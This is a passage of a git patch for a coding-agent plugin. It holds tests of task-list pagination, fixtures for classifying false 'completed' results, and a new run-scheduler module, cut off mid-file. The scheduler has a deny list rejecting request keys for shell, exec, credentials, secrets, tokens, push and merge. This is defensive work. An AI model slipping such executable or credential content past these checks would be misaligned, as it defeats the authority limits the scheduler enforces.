task.id), ['rtruth-legit-b']); + assert.equal(succeeded.tasks[0].state, 'succeeded'); + assert.equal(succeeded.tasks[0].status, 'completed'); + assert.equal(succeeded.total, 2); + assert.equal(succeeded.has_more, true); + assert.ok(succeeded.next_cursor); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const succeededPage2 = (await request({ + jsonrpc: '2.0', + id: 72, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'full', state: 'succeeded', limit: 1, cursor: succeeded.next_cursor }, + }, + })).result.structuredContent; + assert.deepEqual(succeededPage2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(succeededPage2.total, 2); + assert.equal(succeededPage2.has_more, false); + assert.equal(succeededPage2.next_cursor, null); + assert.equal(succeededPage2.tasks[0].state, 'succeeded'); + + const compactFailed = (await request({ + jsonrpc: '2.0', + id: 73, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', state: 'failed', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(compactFailed.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(compactFailed.tasks[0].state, 'failed'); + assert.notEqual(compactFailed.tasks[0].state, 'succeeded'); + assert.equal(compactFailed.total, 2); + assert.equal(compactFailed.has_more, true); + + const compactFailedPage2 = (await request({ + jsonrpc: '2.0', + id: 74, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'compact', state: 'failed', limit: 1, cursor: compactFailed.next_cursor }, + }, + })).result.structuredContent; + assert.deepEqual(compactFailedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(compactFailedPage2.tasks[0].state, 'failed'); + assert.equal(compactFailedPage2.total, 2); + assert.equal(compactFailedPage2.has_more, false); + assert.equal(compactFailedPage2.next_cursor, null); + + const mismatched = await request({ + jsonrpc: '2.0', + id: 75, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { detail: 'full', state: 'failed', limit: 1, cursor: succeeded.next_cursor }, + }, + }); + assert.equal(mismatched.result.isError, true); + assert.match(mismatched.result.structuredContent.error.code, /invalid_cursor/u); + + const after = await readFile(taskPaths(state, 'rtruth-ping-timeout').record, 'utf8'); + assert.equal(after, pingStored); + assert.match(after, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(after, /"status": "completed"/u); + }); +}); + test('status fails local providers closed when the MCP environment lacks the user-bus locator', async () => { const environment = { ...process.env }; delete environment.XDG_RUNTIME_DIR; diff --git a/plugins/codex-co-engineer/test/v3-task-store.test.mjs b/plugins/codex-co-engineer/test/v3-task-store.test.mjs index 0545b28..4fd57b2 100644 --- a/plugins/codex-co-engineer/test/v3-task-store.test.mjs +++ b/plugins/codex-co-engineer/test/v3-task-store.test.mjs @@ -10,15 +10,18 @@ import { EVENT_TAIL_PEEK_BYTES, MAX_EVENT_READ_BYTES, MAX_TASK_WAIT_MS, + TASK_SCHEMA, TEXT_DELTA_COALESCE_MS, appendTaskEvent, clearTaskLaunchReservation, createLaunchReservation, createTask, + decodeTasksCursor, isImmediateProgressEvent, isTextDeltaEvent, launchReservationActive, listTasks, + listTasksPage, parseEventCursor, parseTaskWaitMs, projectLiveLastEvent, @@ -34,6 +37,16 @@ import { waitForTaskProgress, writeRuntimeRecord, } from '../mcp/v3/task-store.mjs'; +import { + legitimateCancelledReceipt, + legitimateCompletedReceipt, + legitimateEnvironmentBlockedReceipt, + legitimateFailedReceipt, + legitimateTimeoutReceipt, + legitimateTransportLostReceipt, + quotedPingInSuccessfulResultReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; async function temporaryRoot() { return mkdtemp(path.join(tmpdir(), 'co-engineer-task-store-')); @@ -775,3 +788,149 @@ test('cursorless progress wait still wakes immediately on terminal, attention, a await rm(root, { recursive: true, force: true }); } }); + +test('listTasksPage applies classifier-derived public state before filter, total, and keyset pagination', async () => { + const root = await temporaryRoot(); + try { + const stamp = (second, receipt) => ({ + ...receipt, + cwd: root, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + const stored = {}; + const writes = [ + ['rtruth-legit-b', legitimateCompletedReceipt(stamp(8, { id: 'rtruth-legit-b' }))], + ['rtruth-ping-timeout', zeroWorkPingTimeoutReceipt(stamp(7, {}))], + ['rtruth-legit-a', legitimateCompletedReceipt(stamp(6, { id: 'rtruth-legit-a' }))], + ['rtruth-legitimate-failed', legitimateFailedReceipt(stamp(5, {}))], + ['rtruth-quoted-ping', quotedPingInSuccessfulResultReceipt(stamp(4, {}))], + ['rtruth-legitimate-cancelled', legitimateCancelledReceipt(stamp(3, {}))], + ['rtruth-legitimate-timeout', legitimateTimeoutReceipt(stamp(2, {}))], + ['rtruth-legitimate-environment-blocked', legitimateEnvironmentBlockedReceipt(stamp(1, {}))], + ['rtruth-legitimate-transport-lost', legitimateTransportLostReceipt(stamp(0, {}))], + ]; + for (const [id, record] of writes) { + const created = await createTask({ root, prompt: 'keep this prompt private', record }); + stored[id] = await readFile(created.paths.record, 'utf8'); + } + + const omitted = await listTasksPage(root, { detail: 'full' }); + assert.equal(omitted.total, 9); + assert.equal(omitted.has_more, false); + assert.equal(omitted.next_cursor, null); + assert.deepEqual(omitted.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-ping-timeout', + 'rtruth-legit-a', + 'rtruth-legitimate-failed', + 'rtruth-quoted-ping', + 'rtruth-legitimate-cancelled', + 'rtruth-legitimate-timeout', + 'rtruth-legitimate-environment-blocked', + 'rtruth-legitimate-transport-lost', + ]); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + + const succeeded = await listTasksPage(root, { detail: 'full', state: 'succeeded' }); + assert.deepEqual(succeeded.tasks.map((task) => task.id), [ + 'rtruth-legit-b', + 'rtruth-legit-a', + 'rtruth-quoted-ping', + ]); + assert.equal(succeeded.total, 3); + assert.equal(succeeded.has_more, false); + assert.equal(succeeded.next_cursor, null); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-legitimate-failed'), false); + + const succeededAlias = await listTasksPage(root, { detail: 'full', status: 'completed' }); + assert.deepEqual(succeededAlias.tasks.map((task) => task.id), succeeded.tasks.map((task) => task.id)); + assert.equal(succeededAlias.total, 3); + + const failed = await listTasksPage(root, { detail: 'full', state: 'failed' }); + assert.deepEqual(failed.tasks.map((task) => task.id), [ + 'rtruth-ping-timeout', + 'rtruth-legitimate-failed', + ]); + assert.equal(failed.total, 2); + assert.equal(failed.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + assert.equal(failed.tasks.find((task) => task.id === 'rtruth-legitimate-failed').status, 'failed'); + + const failedAlias = await listTasksPage(root, { detail: 'full', status: 'failed' }); + assert.deepEqual(failedAlias.tasks.map((task) => task.id), failed.tasks.map((task) => task.id)); + + const cancelled = await listTasksPage(root, { state: 'cancelled' }); + const timedOut = await listTasksPage(root, { state: 'timed_out' }); + const timeoutAlias = await listTasksPage(root, { status: 'timeout' }); + const blocked = await listTasksPage(root, { state: 'environment_blocked' }); + const lost = await listTasksPage(root, { state: 'transport_lost' }); + assert.deepEqual(cancelled.tasks.map((task) => task.id), ['rtruth-legitimate-cancelled']); + assert.deepEqual(timedOut.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + assert.deepEqual(timeoutAlias.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + assert.deepEqual(blocked.tasks.map((task) => task.id), ['rtruth-legitimate-environment-blocked']); + assert.deepEqual(lost.tasks.map((task) => task.id), ['rtruth-legitimate-transport-lost']); + + const page1 = await listTasksPage(root, { detail: 'compact', state: 'succeeded', limit: 1 }); + assert.deepEqual(page1.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(page1.total, 3); + assert.equal(page1.has_more, true); + assert.ok(page1.next_cursor); + const page1Anchor = decodeTasksCursor(page1.next_cursor); + assert.equal(page1Anchor.id, 'rtruth-legit-b'); + assert.equal(page1Anchor.s, 'succeeded'); + assert.equal(page1Anchor.d, 'compact'); + + const page2 = await listTasksPage(root, { + detail: 'compact', + state: 'succeeded', + limit: 1, + cursor: page1.next_cursor, + }); + assert.deepEqual(page2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(page2.total, 3); + assert.equal(page2.has_more, true); + assert.equal(page2.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const page3 = await listTasksPage(root, { + detail: 'compact', + state: 'succeeded', + limit: 1, + cursor: page2.next_cursor, + }); + assert.deepEqual(page3.tasks.map((task) => task.id), ['rtruth-quoted-ping']); + assert.equal(page3.total, 3); + assert.equal(page3.has_more, false); + assert.equal(page3.next_cursor, null); + + const failedPage1 = await listTasksPage(root, { detail: 'full', state: 'failed', limit: 1 }); + assert.deepEqual(failedPage1.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(failedPage1.total, 2); + assert.equal(failedPage1.has_more, true); + const failedPage2 = await listTasksPage(root, { + detail: 'full', + state: 'failed', + limit: 1, + cursor: failedPage1.next_cursor, + }); + assert.deepEqual(failedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(failedPage2.total, 2); + assert.equal(failedPage2.has_more, false); + assert.equal(failedPage2.next_cursor, null); + + await assert.rejects( + () => listTasksPage(root, { detail: 'compact', state: 'failed', limit: 1, cursor: page1.next_cursor }), + (error) => error.code === 'invalid_cursor', + ); + + for (const [id, bytes] of Object.entries(stored)) { + assert.equal(await readFile(taskPaths(root, id).record, 'utf8'), bytes); + assert.match(bytes, /"schema": "codex-co-engineer.task.v1"/u); + } + assert.match(stored['rtruth-ping-timeout'], /"status": "completed"/u); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); From 9ab7bd5754657ca53901e8b354466aee1177e798 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:32:28 +0000 Subject: [PATCH 121/151] feat(run-scheduler): add one-submission 1-8 assignment fanout Dispatch exact 1-8 independent assignments through injected delegate/inspect/cancel/clock seams. Idempotent exact resubmit never redispatches; disjoint writers and read-only verifiers fail closed before dispatch; failed or cancelled lanes leave unaffected lanes running; resume records bounded cursor/attention/restart evidence without replay. --- .../mcp/v3/run-scheduler.mjs | 1159 +++++++++++++++++ .../fixtures/r1-run-scheduler-fixtures.mjs | 250 ++++ .../r1-run-scheduler-adversarial.test.mjs | 308 +++++ .../test/r1-run-scheduler.test.mjs | 524 ++++++++ 4 files changed, 2241 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs b/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs new file mode 100644 index 0000000..5fb7618 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs @@ -0,0 +1,1159 @@ +// RunSchedulerV1 — one-submission idempotent 1–8 assignment fanout (P33; +// ADR 0001 identifiers `bounded_run_1_to_8`, `exact_identities`, +// `disjoint_writer_scopes`, `read_only_verification`, +// `no_post_dispatch_fallback_or_replay`, `attention_batch_v1`; Gate A +// `gate_a_idempotent_submission`, `gate_a_no_duplicate_dispatch`, +// `gate_a_assignment_count_1_to_8`, `gate_a_cancellation_restart_cursor`). +// +// Additive v3 module. It owns in-memory scheduling over injected task +// functions: one exact run identity, 1–8 independent lanes, disjoint +// writer scopes, read-only verification lanes, and exactly-once +// delegate/inspect/cancel. Idempotent exact resubmit never redispatches. +// A failed, cancelled, or unsupported lane does not stop unaffected +// lanes. Resume records bounded cursor/attention/restart evidence and +// never replays. This module does not import or own run-runtime, +// artifact-bridge, lifecycle, supervisor, server, candidate, mailbox, +// or provider-driver surfaces. + +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + isKnownAccess, + isKnownProvider, + isKnownRole, + isModelId, + knownProvidersJoined, + requiredAccessForRole, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + SCOPE_MAX_PATTERNS, + assertBaseSha, + assertRunId, + assertWriteScopePatterns, + isAssignmentId, + isSha40, + writerScopesOverlap, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_SCHEDULER_SCHEMA_ID = 'codex-co-engineer.run-scheduler.v1'; +export const RUN_SCHEDULER_VERSION = 1; +export const RUN_SCHEDULER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-scheduler-receipt.v1'; +export const RUN_SCHEDULER_HASH_DOMAIN = 'codex-co-engineer.run-scheduler-hash.v1'; + +export const RUN_SCHEDULER_METHODS = capturedFreeze([ + 'submitAssignments', 'resumeAssignments', 'cancelAssignments', +]); +export const RUN_SCHEDULER_DEPENDENCY_KEYS = capturedFreeze([ + 'delegateTask', 'inspectTask', 'cancelTask', 'clock', +]); +export const RUN_SCHEDULER_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'base_sha', 'run_id', +]); +export const RUN_SCHEDULER_RESUME_KEYS = capturedFreeze([ + 'assignment_ids', 'cursors', 'run_id', +]); +export const RUN_SCHEDULER_CANCEL_KEYS = capturedFreeze([ + 'assignment_ids', 'run_id', +]); +export const RUN_SCHEDULER_ASSIGNMENT_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'model', 'provider', 'required', 'role', + 'starting_ref', 'task_id', 'write_scope', +]); +export const RUN_SCHEDULER_CURSOR_KEYS = capturedFreeze([ + 'assignment_id', 'event_cursor', 'task_id', +]); +export const RUN_SCHEDULER_LANE_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'attention', 'cancel_confirmed', 'cursor', + 'dispatched', 'fallback', 'model', 'provider', 'replayed', 'required', + 'role', 'starting_ref', 'status', 'task_id', 'unresolved', 'write_scope', +]); +export const RUN_SCHEDULER_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'base_sha', 'checks', 'complete_candidate_blocked', + 'created', 'lanes', 'observed_at', 'remote_mutated', 'run_id', 'schema', + 'side_effects', 'status', 'version', 'wake', +]); +export const RUN_SCHEDULER_STATUSES = capturedFreeze([ + 'dispatched', 'partial', 'idempotent', 'inspected', 'cancelled', +]); +export const RUN_SCHEDULER_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', 'needs_attention', 'completed', 'failed', + 'cancelled', 'unresolved', 'timeout', 'transport_lost', 'environment_blocked', +]); +export const RUN_SCHEDULER_UNRESOLVED_CODES = capturedFreeze([ + 'dispatch_failed', + 'identity_mismatch', + 'same_session_reply_unsupported', + 'safe_cancel_unconfirmed', + 'restart_denied_no_replay', + 'inspect_failed', + 'attention_evidence_invalid', +]); +export const RUN_SCHEDULER_REPLY_CAPABILITIES = capturedFreeze([ + 'same_session', 'unsupported', +]); +export const RUN_SCHEDULER_CHECKS = capturedFreeze([ + 'request_quarantine', + 'child_bounds', + 'exact_identity', + 'disjoint_writer_scopes', + 'read_only_verification', + 'one_submission', + 'no_duplicate_dispatch', + 'no_replay', + 'no_fallback', + 'unaffected_lanes_continue', + 'bounded_attention', + 'remote_mutation_denied', +]); +export const RUN_SCHEDULER_SIDE_EFFECTS = capturedFreeze([ + 'task_dispatched', + 'task_cancelled', + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'remote_mutated', +]); +export const RUN_SCHEDULER_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'remote_mutated', +]); + +export { MIN_ASSIGNMENTS, MAX_ASSIGNMENTS }; +export const MAX_SCHEDULER_ATTENTION_PROMPT_BYTES = 4096; +export const MAX_SCHEDULER_ATTENTION_OPTIONS = 8; +export const MAX_SCHEDULER_ATTENTION_OPTION_BYTES = 128; +export const MAX_SCHEDULER_DIAGNOSTIC_BYTES = 160; + +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const EVENT_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const CLOCK_ISO_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +const HASH_ALGORITHM = 'sha256'; +const CREATE_HASH = createHash; +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; + +const TERMINAL_LANE_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'unresolved', 'timeout', + 'transport_lost', 'environment_blocked', +]); +const INSPECT_STATUS_MAP = capturedFreeze({ + dispatched: 'dispatched', + starting: 'running', + accepted: 'running', + running: 'running', + cancelling: 'running', + needs_attention: 'needs_attention', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + timeout: 'timeout', + timed_out: 'timeout', + transport_lost: 'transport_lost', + environment_blocked: 'environment_blocked', +}); + +const FORBIDDEN_KEY_CODES = capturedFreeze({ + after: 'dependency_not_allowed', + before: 'dependency_not_allowed', + blocked_by: 'dependency_not_allowed', + blocking: 'dependency_not_allowed', + children: 'dependency_not_allowed', + dag: 'dependency_not_allowed', + dependencies: 'dependency_not_allowed', + depends_on: 'dependency_not_allowed', + edges: 'dependency_not_allowed', + needs: 'dependency_not_allowed', + parent: 'dependency_not_allowed', + parents: 'dependency_not_allowed', + prerequisites: 'dependency_not_allowed', + requires: 'dependency_not_allowed', + waits_for: 'dependency_not_allowed', + fallback: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + redispatch: 'replay_or_fallback_denied', + retry: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + workspace_mode: 'direct_mode_denied', + direct: 'direct_mode_denied', + allow_merge: 'merge_authority_denied', + allow_create_pr: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + force_push: 'merge_authority_denied', + argv: 'executable_content_denied', + command: 'executable_content_denied', + commands: 'executable_content_denied', + exec: 'executable_content_denied', + executable: 'executable_content_denied', + script: 'executable_content_denied', + shell: 'executable_content_denied', + api_key: 'credential_content_denied', + credential: 'credential_content_denied', + credentials: 'credential_content_denied', + password: 'credential_content_denied', + secret: 'credential_content_denied', + secrets: 'credential_content_denied', + token: 'credential_content_denied', + tokens: 'credential_content_denied', +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Scheduler data must be direct JSON values; getters are never invoked.', + aliased_reference_denied: 'Scheduler inputs must be acyclic trees without shared aliases.', + assignment_id_unknown: 'The assignment_id is not part of this exact run.', + clock_invalid: 'The injected clock must return a UTC ISO-8601 timestamp or a safe epoch millisecond count.', + cursor_identity_mismatch: 'Resume cursors must bind the exact assignment and task identity.', + dependency_not_allowed: 'Scheduler assignments are independent; dependency edges are denied.', + direct_mode_denied: 'Run submissions never use direct mode.', + duplicate_assignment_id: 'Each assignment_id in a run must be unique.', + duplicate_task_id: 'Each task_id in a run must be unique.', + executable_content_denied: 'Scheduler requests cannot carry executables, argv, or shell content.', + credential_content_denied: 'Scheduler requests cannot carry credential material.', + exotic_prototype_denied: 'Scheduler data must use the standard or null prototype.', + injected_dependency_invalid: 'createRunScheduler requires injected task functions and a clock.', + invalid_clock: 'The injected clock must return a UTC ISO-8601 timestamp or a safe epoch millisecond count.', + invalid_format: 'A scheduler field violates the required exact grammar.', + invalid_type: 'A scheduler field has the wrong JSON type.', + merge_authority_denied: 'Scheduler lanes have no merge, push, or create-PR authority.', + missing_key: 'A required scheduler field is missing; there are no hidden defaults.', + overlapping_writer_scope: 'Writer scopes of concurrent assignments must be disjoint.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A scheduler collection is outside the closed 1–8 bound.', + proxy_denied: 'Scheduler surfaces accept direct JSON data only.', + read_only_scope_denied: 'Read-only verification lanes must declare an empty write_scope.', + replay_or_fallback_denied: 'After dispatch there is no fallback, replay, retry, or redispatch.', + role_access_mismatch: 'Role and access must match the closed writer/read-only pairing.', + scheduler_run_conflict: 'The run_id is already bound to a different exact assignment identity.', + scheduler_run_unknown: 'The run_id is not available to this scheduler.', + starting_ref_forbidden_local: 'starting_ref is only valid for cursor-cloud lanes.', + cloud_starting_ref_required: 'Every cursor-cloud lane must pin one exact starting SHA.', + symbol_key_denied: 'Scheduler data cannot carry symbol keys.', + unknown_key: 'A scheduler object carries a key outside the closed vocabulary.', + unknown_provider: 'The provider is not in the closed scheduler vocabulary.', + unknown_role: 'The role is not in the closed scheduler vocabulary.', + unknown_access: 'The access mode is not in the closed scheduler vocabulary.', + writer_scope_required: 'Writer lanes must declare a non-empty write_scope.', +}); + +export const RUN_SCHEDULER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'assignment_id_unknown', + 'clock_invalid', + 'cloud_starting_ref_required', + 'credential_content_denied', + 'cursor_identity_mismatch', + 'dependency_not_allowed', + 'direct_mode_denied', + 'duplicate_assignment_id', + 'duplicate_task_id', + 'executable_content_denied', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_clock', + 'invalid_format', + 'invalid_json_type', + 'invalid_json_value', + 'invalid_type', + 'merge_authority_denied', + 'missing_key', + 'non_enumerable_property_denied', + 'overlapping_writer_scope', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'read_only_scope_denied', + 'replay_or_fallback_denied', + 'role_access_mismatch', + 'scheduler_run_conflict', + 'scheduler_run_unknown', + 'starting_ref_forbidden_local', + 'symbol_key_denied', + 'unknown_access', + 'unknown_key', + 'unknown_provider', + 'unknown_role', + 'value_depth_exceeded', + 'writer_scope_required', +]); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_SCHEDULER_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_SCHEDULER_DIAGNOSTIC_BYTES); +} + +function failScheduler(code, path, message) { + fail(code, path, diagnostic(message ?? CONTENT_FREE[code] ?? 'The scheduler request failed closed.')); +} + +function assertClosedKeySet(value, allowedKeys, errorPath) { + const keys = capturedOwnKeys(value); + for (const key of keys) { + if (typeof key !== 'string') { + failScheduler('symbol_key_denied', errorPath, CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(allowedKeys, key)) { + failScheduler('unknown_key', `${errorPath}.${key}`, CONTENT_FREE.unknown_key); + } + } +} + +function denyForbiddenKeys(value, path) { + if (value === null || typeof value !== 'object') return; + const keys = capturedOwnKeys(value); + for (const key of keys) { + if (typeof key !== 'string') continue; + if (capturedHasOwn(FORBIDDEN_KEY_CODES, key)) { + failScheduler(FORBIDDEN_KEY_CODES[key], `${path}.${key}`, CONTENT_FREE[FORBIDDEN_KEY_CODES[key]]); + } + } + if (ARRAY_IS_ARRAY(value)) { + const length = value.length; + for (let index = 0; index < length; index += 1) { + denyForbiddenKeys(value[index], `${path}[${index}]`); + } + return; + } + for (const key of keys) { + if (typeof key === 'string') denyForbiddenKeys(value[key], `${path}.${key}`); + } +} + +function quarantineRequest(request, path, allowedKeys) { + if (request === undefined || request === null) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertNotProxy(request, path); + if (typeof request !== 'object' || ARRAY_IS_ARRAY(request)) { + failScheduler('invalid_type', path, CONTENT_FREE.invalid_type); + } + assertDirectJsonClosure(request, path); + denyForbiddenKeys(request, path); + freezeData(request); + assertClosedKeySet(request, allowedKeys, path); + return request; +} + +function requiredString(object, key, path, predicate, code) { + if (!hasOwn(object, key)) failScheduler('missing_key', path, CONTENT_FREE.missing_key); + const value = ownDataValue(object, key, path); + if (typeof value !== 'string' || (predicate && !predicate(value))) { + failScheduler(code ?? 'invalid_format', path, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format); + } + return value; +} + +function optionalOwn(object, key, path) { + if (!hasOwn(object, key)) return undefined; + return ownDataValue(object, key, path); +} + +function assertTaskId(value, path) { + if (typeof value !== 'string' || !capturedTest(TASK_ID_PATTERN, value)) { + failScheduler('invalid_format', path, CONTENT_FREE.invalid_format); + } + return value; +} + +function assertEventCursor(value, path) { + if (typeof value !== 'string' || !capturedTest(EVENT_CURSOR_PATTERN, value)) { + failScheduler('invalid_format', path, CONTENT_FREE.invalid_format); + } + return value; +} + +function expectedReplyCapability(provider) { + return provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; +} + +function isTerminalStatus(status) { + return capturedIncludes(TERMINAL_LANE_STATUSES, status); +} + +function identityDigest(runId, baseSha, assignments) { + const canonical = canonicalJsonStringify({ + assignments: assignments.map((lane) => ({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required, + role: lane.role, + starting_ref: lane.starting_ref, + task_id: lane.task_id, + write_scope: lane.write_scope, + })), + base_sha: baseSha, + run_id: runId, + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(RUN_SCHEDULER_HASH_DOMAIN, 'utf8') + .update('\n', 'utf8') + .update(STRING(RUN_SCHEDULER_VERSION), 'utf8') + .update('\n', 'utf8') + .update(canonical, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function readClock(clock) { + let value; + try { + value = clock(); + } catch { + failScheduler('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + if (typeof value === 'string' && capturedTest(CLOCK_ISO_PATTERN, value)) return value; + if (typeof value === 'number' && NUMBER_IS_SAFE_INTEGER(value) && value >= 0) { + return new Date(value).toISOString(); + } + failScheduler('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + return null; +} + +function cloneLane(lane) { + return { + access: lane.access, + assignment_id: lane.assignment_id, + attention: lane.attention === null ? null : { ...lane.attention, options: lane.attention.options === null ? null : [...lane.attention.options] }, + cancel_confirmed: lane.cancel_confirmed, + cursor: lane.cursor, + dispatched: lane.dispatched, + fallback: false, + model: lane.model, + provider: lane.provider, + replayed: false, + required: lane.required, + role: lane.role, + starting_ref: lane.starting_ref, + status: lane.status, + task_id: lane.task_id, + unresolved: lane.unresolved === null ? null : { ...lane.unresolved }, + write_scope: [...lane.write_scope], + }; +} + +function requiredUnresolved(lanes) { + for (const lane of lanes) { + if (!lane.required) continue; + if (lane.unresolved !== null) return true; + if (lane.status === 'failed' || lane.status === 'cancelled' || lane.status === 'unresolved' + || lane.status === 'timeout' || lane.status === 'transport_lost' + || lane.status === 'environment_blocked') { + return true; + } + } + return false; +} + +function sideEffects({ dispatched = false, cancelled = false } = {}) { + const effects = {}; + for (const claim of RUN_SCHEDULER_SIDE_EFFECTS) effects[claim] = false; + effects.task_dispatched = dispatched === true; + effects.task_cancelled = cancelled === true; + return effects; +} + +function checks() { + const result = {}; + for (const name of RUN_SCHEDULER_CHECKS) result[name] = true; + return result; +} + +function receiptFor(record, { + status, created, dispatched = false, cancelled = false, observedAt, +}) { + const lanes = record.lanes.map(cloneLane); + return freezeData({ + schema: RUN_SCHEDULER_SCHEMA_ID, + version: RUN_SCHEDULER_VERSION, + run_id: record.run_id, + base_sha: record.base_sha, + status, + created, + assignment_count: lanes.length, + lanes, + checks: checks(), + side_effects: sideEffects({ dispatched, cancelled }), + wake: false, + complete_candidate_blocked: requiredUnresolved(lanes), + observed_at: observedAt, + remote_mutated: false, + }); +} + +function parseWriteScope(assignment, access, path) { + if (!hasOwn(assignment, 'write_scope')) { + failScheduler('missing_key', `${path}.write_scope`, CONTENT_FREE.missing_key); + } + const scope = ownDataValue(assignment, 'write_scope', `${path}.write_scope`); + if (access === 'read_only') { + if (!ARRAY_IS_ARRAY(scope) || IS_PROXY(scope)) { + failScheduler('invalid_type', `${path}.write_scope`, CONTENT_FREE.invalid_type); + } + if (scope.length !== 0) { + failScheduler('read_only_scope_denied', `${path}.write_scope`, CONTENT_FREE.read_only_scope_denied); + } + return capturedFreeze([]); + } + assertWriteScopePatterns(scope, `${path}.write_scope`, { minPatterns: 1, maxPatterns: SCOPE_MAX_PATTERNS }); + if (scope.length === 0) { + failScheduler('writer_scope_required', `${path}.write_scope`, CONTENT_FREE.writer_scope_required); + } + return capturedFreeze([...scope]); +} + +function parseStartingRef(assignment, provider, path) { + const present = hasOwn(assignment, 'starting_ref'); + if (present && provider !== 'cursor-cloud') { + failScheduler('starting_ref_forbidden_local', `${path}.starting_ref`, + CONTENT_FREE.starting_ref_forbidden_local); + } + if (provider === 'cursor-cloud') { + if (!present) { + failScheduler('cloud_starting_ref_required', 